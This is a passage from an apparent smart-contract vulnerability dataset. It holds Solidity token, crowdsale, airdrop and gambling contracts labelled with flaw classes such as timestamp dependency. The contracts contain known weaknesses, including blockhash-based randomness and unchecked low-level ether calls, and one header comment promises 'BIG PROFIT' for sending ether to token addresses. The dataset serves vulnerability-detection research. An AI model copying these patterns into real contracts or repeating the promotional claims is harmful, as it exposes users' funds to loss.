_id) { require(_beneficiary != address(0)); require(_id < tokenTimeLocks[_beneficiary].length); require(!tokenTimeLocks[_beneficiary][_id].revoked); _; } function setCrowdsale(address _crowdsale) external onlyOwner { require(_crowdsale != address(0)); crowdsale = _crowdsale; } function activate() external onlyCrowdsale { activated = true; } function createInvestorTokenTimeLock( address _beneficiary, uint256 _amount, uint256 _start, address _tokenHolder ) external onlyCrowdsale returns (bool) { require(_beneficiary != address(0) && _amount > 0); require(_tokenHolder != address(0)); TokenTimelock memory tokenLock = TokenTimelock( _amount, _start.add(INVESTOR_LOCK_DURATION), false, false, false ); tokenTimeLocks[_beneficiary].push(tokenLock); require(token.transferFrom(_tokenHolder, this, _amount)); emit TokenTimelockCreated( _beneficiary, tokenLock.releaseTime, false, _amount); return true; } function createTeamTokenTimeLock( address _beneficiary, uint256 _amount, uint256 _start, address _tokenHolder ) external onlyOwner returns (bool) { require(_beneficiary != address(0) && _amount > 0); require(_tokenHolder != address(0)); uint256 amount = _amount.div(2); TokenTimelock memory tokenLock1 = TokenTimelock( amount, _start.add(TEAM_LOCK_DURATION_PART1), false, true, false ); tokenTimeLocks[_beneficiary].push(tokenLock1); TokenTimelock memory tokenLock2 = TokenTimelock( amount, _start.add(TEAM_LOCK_DURATION_PART2), false, true, false ); tokenTimeLocks[_beneficiary].push(tokenLock2); require(token.transferFrom(_tokenHolder, this, _amount)); emit TokenTimelockCreated( _beneficiary, tokenLock1.releaseTime, true, amount); emit TokenTimelockCreated( _beneficiary, tokenLock2.releaseTime, true, amount); return true; } function revokeTokenTimelock( address _beneficiary, uint256 _id) external onlyWhenActivated onlyOwner onlyValidTokenTimelock(_beneficiary, _id) { require(tokenTimeLocks[_beneficiary][_id].revocable); require(!tokenTimeLocks[_beneficiary][_id].released); TokenTimelock storage tokenLock = tokenTimeLocks[_beneficiary][_id]; tokenLock.revoked = true; require(token.transfer(owner, tokenLock.amount)); emit TokenTimelockRevoked(_beneficiary); } function getTokenTimelockCount(address _beneficiary) view external returns (uint) { return tokenTimeLocks[_beneficiary].length; } function getTokenTimelockDetails(address _beneficiary, uint256 _id) view external returns ( uint256 _amount, uint256 _releaseTime, bool _released, bool _revocable, bool _revoked) { require(_id < tokenTimeLocks[_beneficiary].length); _amount = tokenTimeLocks[_beneficiary][_id].amount; _releaseTime = tokenTimeLocks[_beneficiary][_id].releaseTime; _released = tokenTimeLocks[_beneficiary][_id].released; _revocable = tokenTimeLocks[_beneficiary][_id].revocable; _revoked = tokenTimeLocks[_beneficiary][_id].revoked; } function changeBeneficiary(uint256 _id, address _newBeneficiary) external onlyWhenActivated onlyValidTokenTimelock(msg.sender, _id) { tokenTimeLocks[_newBeneficiary].push(tokenTimeLocks[msg.sender][_id]); if (tokenTimeLocks[msg.sender].length > 1) { tokenTimeLocks[msg.sender][_id] = tokenTimeLocks[msg.sender][tokenTimeLocks[msg.sender].length.sub(1)]; delete(tokenTimeLocks[msg.sender][tokenTimeLocks[msg.sender].length.sub(1)]); } tokenTimeLocks[msg.sender].length--; emit TokenTimelockBeneficiaryChanged(msg.sender, _newBeneficiary); } function release(uint256 _id) external { releaseFor(msg.sender, _id); } function releaseFor(address _beneficiary, uint256 _id) public onlyWhenActivated onlyValidTokenTimelock(_beneficiary, _id) { TokenTimelock storage tokenLock = tokenTimeLocks[_beneficiary][_id]; require(!tokenLock.released); require(block.timestamp >= tokenLock.releaseTime); tokenLock.released = true; require(token.transfer(_beneficiary, tokenLock.amount)); emit TokenTimelockReleased(_beneficiary, tokenLock.amount); } }",./Dataset/timestamp dependency (TP)/,6,6 9310.sol," pragma solidity ^0.4.8; contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } library SafeMathLibExt { function times(uint a, uint b) returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function divides(uint a, uint b) returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function minus(uint a, uint b) returns (uint) { assert(b <= a); return a - b; } function plus(uint a, uint b) returns (uint) { uint c = a + b; assert(c>=a); return c; } } contract Haltable is Ownable { bool public halted; modifier stopInEmergency { if (halted) throw; _; } modifier stopNonOwnersInEmergency { if (halted && msg.sender != owner) throw; _; } modifier onlyInEmergency { if (!halted) throw; _; } function halt() external onlyOwner { halted = true; } function unhalt() external onlyOwner onlyInEmergency { halted = false; } } contract PricingStrategy { address public tier; function isPricingStrategy() public constant returns (bool) { return true; } function isSane(address crowdsale) public constant returns (bool) { return true; } function isPresalePurchase(address purchaser) public constant returns (bool) { return false; } function updateRate(uint newOneTokenInWei) public; function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); } contract FinalizeAgent { bool public reservedTokensAreDistributed = false; function isFinalizeAgent() public constant returns(bool) { return true; } function isSane() public constant returns (bool); function distributeReservedTokens(uint reservedTokensDistributionBatch); function finalizeCrowdsale(); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract FractionalERC20Ext is ERC20 { uint public decimals; uint public minCap; } contract CrowdsaleExt is Haltable { uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; using SafeMathLibExt for uint; FractionalERC20Ext public token; PricingStrategy public pricingStrategy; FinalizeAgent public finalizeAgent; string public name; address public multisigWallet; uint public minimumFundingGoal; uint public startsAt; uint public endsAt; uint public tokensSold = 0; uint public weiRaised = 0; uint public investorCount = 0; bool public finalized; bool public isWhiteListed; address[] public joinedCrowdsales; uint8 public joinedCrowdsalesLen = 0; uint8 public joinedCrowdsalesLenMax = 50; struct JoinedCrowdsaleStatus { bool isJoined; uint8 position; } mapping (address => JoinedCrowdsaleStatus) joinedCrowdsaleState; mapping (address => uint256) public investedAmountOf; mapping (address => uint256) public tokenAmountOf; struct WhiteListData { bool status; uint minCap; uint maxCap; } bool public isUpdatable; mapping (address => WhiteListData) public earlyParticipantWhitelist; address[] public whitelistedParticipants; uint public ownerTestValue; enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized} event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId); event Whitelisted(address addr, bool status, uint minCap, uint maxCap); event WhitelistItemChanged(address addr, bool status, uint minCap, uint maxCap); event StartsAtChanged(uint newStartsAt); event EndsAtChanged(uint newEndsAt); function CrowdsaleExt(string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) { owner = msg.sender; name = _name; token = FractionalERC20Ext(_token); setPricingStrategy(_pricingStrategy); multisigWallet = _multisigWallet; if(multisigWallet == 0) { throw; } if(_start == 0) { throw; } startsAt = _start; if(_end == 0) { throw; } endsAt = _end; if(startsAt >= endsAt) { throw; } minimumFundingGoal = _minimumFundingGoal; isUpdatable = _isUpdatable; isWhiteListed = _isWhiteListed; } function() payable { throw; } function investInternal(address receiver, uint128 customerId) stopInEmergency private { if(getState() == State.PreFunding) { throw; } else if(getState() == State.Funding) { if(isWhiteListed) { if(!earlyParticipantWhitelist[receiver].status) { throw; } } } else { throw; } uint weiAmount = msg.value; uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals()); if(tokenAmount == 0) { throw; } if(isWhiteListed) { if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) { throw; } if (isBreakingInvestorCap(receiver, tokenAmount)) { throw; } updateInheritedEarlyParticipantWhitelist(receiver, tokenAmount); } else { if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) { throw; } } if(investedAmountOf[receiver] == 0) { investorCount++; } investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); weiRaised = weiRaised.plus(weiAmount); tokensSold = tokensSold.plus(tokenAmount); if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) { throw; } assignTokens(receiver, tokenAmount); if(!multisigWallet.send(weiAmount)) throw; Invested(receiver, weiAmount, tokenAmount, customerId); } function invest(address addr) public payable { investInternal(addr, 0); } function buy() public payable { invest(msg.sender); } function distributeReservedTokens(uint reservedTokensDistributionBatch) public inState(State.Success) onlyOwner stopInEmergency { if(finalized) { throw; } if(address(finalizeAgent) != address(0)) { finalizeAgent.distributeReservedTokens(reservedTokensDistributionBatch); } } function areReservedTokensDistributed() public constant returns (bool) { return finalizeAgent.reservedTokensAreDistributed(); } function canDistributeReservedTokens() public constant returns(bool) { CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); if ((lastTierCntrct.getState() == State.Success) && !lastTierCntrct.halted() && !lastTierCntrct.finalized() && !lastTierCntrct.areReservedTokensDistributed()) return true; return false; } function finalize() public inState(State.Success) onlyOwner stopInEmergency { if(finalized) { throw; } if(address(finalizeAgent) != address(0)) { finalizeAgent.finalizeCrowdsale(); } finalized = true; } function setFinalizeAgent(FinalizeAgent addr) public onlyOwner { assert(address(addr) != address(0)); assert(address(finalizeAgent) == address(0)); finalizeAgent = addr; if(!finalizeAgent.isFinalizeAgent()) { throw; } } function setEarlyParticipantWhitelist(address addr, bool status, uint minCap, uint maxCap) public onlyOwner { if (!isWhiteListed) throw; assert(addr != address(0)); assert(maxCap > 0); assert(minCap <= maxCap); assert(now <= endsAt); if (!isAddressWhitelisted(addr)) { whitelistedParticipants.push(addr); Whitelisted(addr, status, minCap, maxCap); } else { WhitelistItemChanged(addr, status, minCap, maxCap); } earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap}); } function setEarlyParticipantWhitelistMultiple(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) public onlyOwner { if (!isWhiteListed) throw; assert(now <= endsAt); assert(addrs.length == statuses.length); assert(statuses.length == minCaps.length); assert(minCaps.length == maxCaps.length); for (uint iterator = 0; iterator < addrs.length; iterator++) { setEarlyParticipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]); } } function updateInheritedEarlyParticipantWhitelist(address reciever, uint tokensBought) private { if (!isWhiteListed) throw; if (tokensBought < earlyParticipantWhitelist[reciever].minCap && tokenAmountOf[reciever] == 0) throw; uint8 tierPosition = getTierPosition(this); for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); crowdsale.updateEarlyParticipantWhitelist(reciever, tokensBought); } } function updateEarlyParticipantWhitelist(address addr, uint tokensBought) public { if (!isWhiteListed) throw; assert(addr != address(0)); assert(now <= endsAt); assert(isTierJoined(msg.sender)); if (tokensBought < earlyParticipantWhitelist[addr].minCap && tokenAmountOf[addr] == 0) throw; uint newMaxCap = earlyParticipantWhitelist[addr].maxCap; newMaxCap = newMaxCap.minus(tokensBought); earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap}); } function isAddressWhitelisted(address addr) public constant returns(bool) { for (uint i = 0; i < whitelistedParticipants.length; i++) { if (whitelistedParticipants[i] == addr) { return true; break; } } return false; } function whitelistedParticipantsLength() public constant returns (uint) { return whitelistedParticipants.length; } function isTierJoined(address addr) public constant returns(bool) { return joinedCrowdsaleState[addr].isJoined; } function getTierPosition(address addr) public constant returns(uint8) { return joinedCrowdsaleState[addr].position; } function getLastTier() public constant returns(address) { if (joinedCrowdsalesLen > 0) return joinedCrowdsales[joinedCrowdsalesLen - 1]; else return address(0); } function setJoinedCrowdsales(address addr) private onlyOwner { assert(addr != address(0)); assert(joinedCrowdsalesLen <= joinedCrowdsalesLenMax); assert(!isTierJoined(addr)); joinedCrowdsales.push(addr); joinedCrowdsaleState[addr] = JoinedCrowdsaleStatus({ isJoined: true, position: joinedCrowdsalesLen }); joinedCrowdsalesLen++; } function updateJoinedCrowdsalesMultiple(address[] addrs) public onlyOwner { assert(addrs.length > 0); assert(joinedCrowdsalesLen == 0); assert(addrs.length <= joinedCrowdsalesLenMax); for (uint8 iter = 0; iter < addrs.length; iter++) { setJoinedCrowdsales(addrs[iter]); } } function setStartsAt(uint time) onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= time); assert(time <= endsAt); assert(now <= startsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); if (lastTierCntrct.finalized()) throw; uint8 tierPosition = getTierPosition(this); for (uint8 j = 0; j < tierPosition; j++) { CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); assert(time >= crowdsale.endsAt()); } startsAt = time; StartsAtChanged(startsAt); } function setEndsAt(uint time) public onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= time); assert(startsAt <= time); assert(now <= endsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); if (lastTierCntrct.finalized()) throw; uint8 tierPosition = getTierPosition(this); for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); assert(time <= crowdsale.startsAt()); } endsAt = time; EndsAtChanged(endsAt); } function setPricingStrategy(PricingStrategy _pricingStrategy) public onlyOwner { assert(address(_pricingStrategy) != address(0)); assert(address(pricingStrategy) == address(0)); pricingStrategy = _pricingStrategy; if(!pricingStrategy.isPricingStrategy()) { throw; } } function setMultisig(address addr) public onlyOwner { if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) { throw; } multisigWallet = addr; } function isMinimumGoalReached() public constant returns (bool reached) { return weiRaised >= minimumFundingGoal; } function isFinalizerSane() public constant returns (bool sane) { return finalizeAgent.isSane(); } function isPricingSane() public constant returns (bool sane) { return pricingStrategy.isSane(address(this)); } function getState() public constant returns (State) { if(finalized) return State.Finalized; else if (address(finalizeAgent) == 0) return State.Preparing; else if (!finalizeAgent.isSane()) return State.Preparing; else if (!pricingStrategy.isSane(address(this))) return State.Preparing; else if (block.timestamp < startsAt) return State.PreFunding; else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; else if (isMinimumGoalReached()) return State.Success; else return State.Failure; } function isCrowdsale() public constant returns (bool) { return true; } modifier inState(State state) { if(getState() != state) throw; _; } function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken); function isBreakingInvestorCap(address receiver, uint tokenAmount) public constant returns (bool limitBroken); function isCrowdsaleFull() public constant returns (bool); function assignTokens(address receiver, uint tokenAmount) private; } contract StandardToken is ERC20, SafeMath { event Minted(address receiver, uint amount); mapping(address => uint) balances; mapping (address => mapping (address => uint)) allowed; function isToken() public constant returns (bool weAre) { return true; } function transfer(address _to, uint _value) returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) returns (bool success) { uint _allowance = allowed[_from][msg.sender]; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) returns (bool success) { if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } contract MintableTokenExt is StandardToken, Ownable { using SafeMathLibExt for uint; bool public mintingFinished = false; mapping (address => bool) public mintAgents; event MintingAgentChanged(address addr, bool state ); struct ReservedTokensData { uint inTokens; uint inPercentageUnit; uint inPercentageDecimals; bool isReserved; bool isDistributed; } mapping (address => ReservedTokensData) public reservedTokensList; address[] public reservedTokensDestinations; uint public reservedTokensDestinationsLen = 0; bool reservedTokensDestinationsAreSet = false; modifier onlyMintAgent() { if(!mintAgents[msg.sender]) { throw; } _; } modifier canMint() { if(mintingFinished) throw; _; } function finalizeReservedAddress(address addr) public onlyMintAgent canMint { ReservedTokensData storage reservedTokensData = reservedTokensList[addr]; reservedTokensData.isDistributed = true; } function isAddressReserved(address addr) public constant returns (bool isReserved) { return reservedTokensList[addr].isReserved; } function areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) { return reservedTokensList[addr].isDistributed; } function getReservedTokens(address addr) public constant returns (uint inTokens) { return reservedTokensList[addr].inTokens; } function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) { return reservedTokensList[addr].inPercentageUnit; } function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) { return reservedTokensList[addr].inPercentageDecimals; } function setReservedTokensListMultiple( address[] addrs, uint[] inTokens, uint[] inPercentageUnit, uint[] inPercentageDecimals ) public canMint onlyOwner { assert(!reservedTokensDestinationsAreSet); assert(addrs.length == inTokens.length); assert(inTokens.length == inPercentageUnit.length); assert(inPercentageUnit.length == inPercentageDecimals.length); for (uint iterator = 0; iterator < addrs.length; iterator++) { if (addrs[iterator] != address(0)) { setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]); } } reservedTokensDestinationsAreSet = true; } function mint(address receiver, uint amount) onlyMintAgent canMint public { totalSupply = totalSupply.plus(amount); balances[receiver] = balances[receiver].plus(amount); Transfer(0, receiver, amount); } function setMintAgent(address addr, bool state) onlyOwner canMint public { mintAgents[addr] = state; MintingAgentChanged(addr, state); } function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner { assert(addr != address(0)); if (!isAddressReserved(addr)) { reservedTokensDestinations.push(addr); reservedTokensDestinationsLen++; } reservedTokensList[addr] = ReservedTokensData({ inTokens: inTokens, inPercentageUnit: inPercentageUnit, inPercentageDecimals: inPercentageDecimals, isReserved: true, isDistributed: false }); } } contract MintedTokenCappedCrowdsaleExt is CrowdsaleExt { uint public maximumSellableTokens; function MintedTokenCappedCrowdsaleExt( string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _maximumSellableTokens, bool _isUpdatable, bool _isWhiteListed ) CrowdsaleExt(_name, _token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal, _isUpdatable, _isWhiteListed) { maximumSellableTokens = _maximumSellableTokens; } event MaximumSellableTokensChanged(uint newMaximumSellableTokens); function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken) { return tokensSoldTotal > maximumSellableTokens; } function isBreakingInvestorCap(address addr, uint tokenAmount) public constant returns (bool limitBroken) { assert(isWhiteListed); uint maxCap = earlyParticipantWhitelist[addr].maxCap; return (tokenAmountOf[addr].plus(tokenAmount)) > maxCap; } function isCrowdsaleFull() public constant returns (bool) { return tokensSold >= maximumSellableTokens; } function setMaximumSellableTokens(uint tokens) public onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= startsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); assert(!lastTierCntrct.finalized()); maximumSellableTokens = tokens; MaximumSellableTokensChanged(maximumSellableTokens); } function updateRate(uint newOneTokenInWei) public onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= startsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); assert(!lastTierCntrct.finalized()); pricingStrategy.updateRate(newOneTokenInWei); } function assignTokens(address receiver, uint tokenAmount) private { MintableTokenExt mintableToken = MintableTokenExt(token); mintableToken.mint(receiver, tokenAmount); } }",./Dataset/timestamp dependency (TP)/,6,6 1112.sol,"// CONTRACT BITCOIN SAPPHIRE // SEND 0 ETHER TO CONTRACT 0xd91a26a93c10797B9D02c5595741B83704c874f4 // receive BitcoinSapphire //Exchange: https://dexdelta.github.io/#!/trade/0xd91a26a93c10797b9d02c5595741b83704c874f4-ETH //=============================================================================================\\ // GET METAHASH COIN and genEOS FREE Distribute !!! // Send 0.001 Ether to Contract METAHASH COIN and genEOS // Contract MetaHashCoin = 0x3659f2139005536e5edaf785e89db04ac4bf5987 // Contract genEOS(GEOS) = 0xBFA82Fbe0e66d8E2B7dCC16328Db9eCd70533d13 // Contract Link address MetaHashCoin (Verified) // https://etherscan.io/token/0x3659f2139005536e5edaf785e89db04ac4bf5987 //======================================================================== // Contract Link address genEOS (Verified) // https://etherscan.io/address/0xbfa82fbe0e66d8e2b7dcc16328db9ecd70533d13 //======================================================================== // Dont forget for set gas limit minimum 100,000 \\ //wesbite: https://geneos.io/ //website: https://metahash.org/ // You hold Metahash Coin and genEOS Already get BIG PROFIT \\ pragma solidity ^0.4.19; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ForeignToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } interface Token { function distr(address _to, uint256 _value) public returns (bool); function totalSupply() constant public returns (uint256 supply); function balanceOf(address _owner) constant public returns (uint256 balance); } contract BitcoinSapphire is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public blacklist; string public constant name = ""Bitcoin Sapphire""; string public constant symbol = ""BTCS""; uint public constant decimals = 8; uint256 public totalSupply = 10000000000e8; uint256 public totalDistributed = 1000000000e8; uint256 public totalRemaining = totalSupply.sub(totalDistributed); uint256 public value; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Burn(address indexed burner, uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyWhitelist() { require(blacklist[msg.sender] == false); _; } function BitcoinSapphire () public { owner = msg.sender; value = 9000e8; distr(owner, totalDistributed); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function enableWhitelist(address[] addresses) onlyOwner public { for (uint i = 0; i < addresses.length; i++) { blacklist[addresses[i]] = false; } } function disableWhitelist(address[] addresses) onlyOwner public { for (uint i = 0; i < addresses.length; i++) { blacklist[addresses[i]] = true; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); totalRemaining = totalRemaining.sub(_amount); balances[_to] = balances[_to].add(_amount); Distr(_to, _amount); Transfer(address(0), _to, _amount); return true; if (totalDistributed >= totalSupply) { distributionFinished = true; } } function airdrop(address[] addresses) onlyOwner canDistr public { require(addresses.length <= 255); require(value <= totalRemaining); for (uint i = 0; i < addresses.length; i++) { require(value <= totalRemaining); distr(addresses[i], value); } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public { require(addresses.length <= 255); require(amount <= totalRemaining); for (uint i = 0; i < addresses.length; i++) { require(amount <= totalRemaining); distr(addresses[i], amount); } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public { require(addresses.length <= 255); require(addresses.length == amounts.length); for (uint8 i = 0; i < addresses.length; i++) { require(amounts[i] <= totalRemaining); distr(addresses[i], amounts[i]); if (totalDistributed >= totalSupply) { distributionFinished = true; } } } function () external payable { getTokens(); } function getTokens() payable canDistr onlyWhitelist public { if (value > totalRemaining) { value = totalRemaining; } require(value <= totalRemaining); address investor = msg.sender; uint256 toGive = value; distr(investor, toGive); if (toGive > 0) { blacklist[investor] = true; } if (totalDistributed >= totalSupply) { distributionFinished = true; } value = value.div(100000).mul(99999); } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } // mitigates the ERC20 short address attack modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { // mitigates the ERC20 spend/approval race condition if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdraw() onlyOwner public { uint256 etherBalance = this.balance; owner.transfer(etherBalance); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); Burn(burner, _value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }",./Dataset/ether strict equality (SE),3,3 1034.sol,"pragma solidity ^0.4.21; contract PoCGame { modifier onlyOwner() { require(msg.sender == owner); _; } modifier isOpenToPublic() { require(openToPublic); _; } modifier onlyRealPeople() { require (msg.sender == tx.origin); _; } modifier onlyPlayers() { require (wagers[msg.sender] > 0); _; } event Wager(uint256 amount, address depositer); event Win(uint256 amount, address paidTo); event Lose(uint256 amount, address loser); event Donate(uint256 amount, address paidTo, address donator); event DifficultyChanged(uint256 currentDifficulty); event BetLimitChanged(uint256 currentBetLimit); address private whale; uint256 betLimit; uint difficulty; uint private randomSeed; address owner; mapping(address => uint256) timestamps; mapping(address => uint256) wagers; bool openToPublic; uint256 totalDonated; constructor(address whaleAddress, uint256 wagerLimit) onlyRealPeople() public { openToPublic = false; owner = msg.sender; whale = whaleAddress; totalDonated = 0; betLimit = wagerLimit; } function OpenToThePublic() onlyOwner() public { openToPublic = true; } function AdjustBetAmounts(uint256 amount) onlyOwner() public { betLimit = amount; emit BetLimitChanged(betLimit); } function AdjustDifficulty(uint256 amount) onlyOwner() public { difficulty = amount; emit DifficultyChanged(difficulty); } function() public payable { } function wager() isOpenToPublic() onlyRealPeople() payable public { require(msg.value == betLimit); require(wagers[msg.sender] == 0); timestamps[msg.sender] = block.number; wagers[msg.sender] = msg.value; emit Wager(msg.value, msg.sender); } function play() isOpenToPublic() onlyRealPeople() onlyPlayers() public { uint256 blockNumber = timestamps[msg.sender]; if(blockNumber < block.number) { timestamps[msg.sender] = 0; wagers[msg.sender] = 0; uint256 winningNumber = uint256(keccak256(abi.encodePacked(blockhash(blockNumber), msg.sender)))%difficulty +1; if(winningNumber == difficulty / 2) { payout(msg.sender); } else { loseWager(betLimit / 2); } } else { revert(); } } function donate() isOpenToPublic() public payable { donateToWhale(msg.value); } function payout(address winner) internal { uint256 ethToTransfer = address(this).balance / 2; winner.transfer(ethToTransfer); emit Win(ethToTransfer, winner); } function donateToWhale(uint256 amount) internal { whale.call.value(amount)(bytes4(keccak256(""donate()""))); totalDonated += amount; emit Donate(amount, whale, msg.sender); } function loseWager(uint256 amount) internal { whale.call.value(amount)(bytes4(keccak256(""donate()""))); 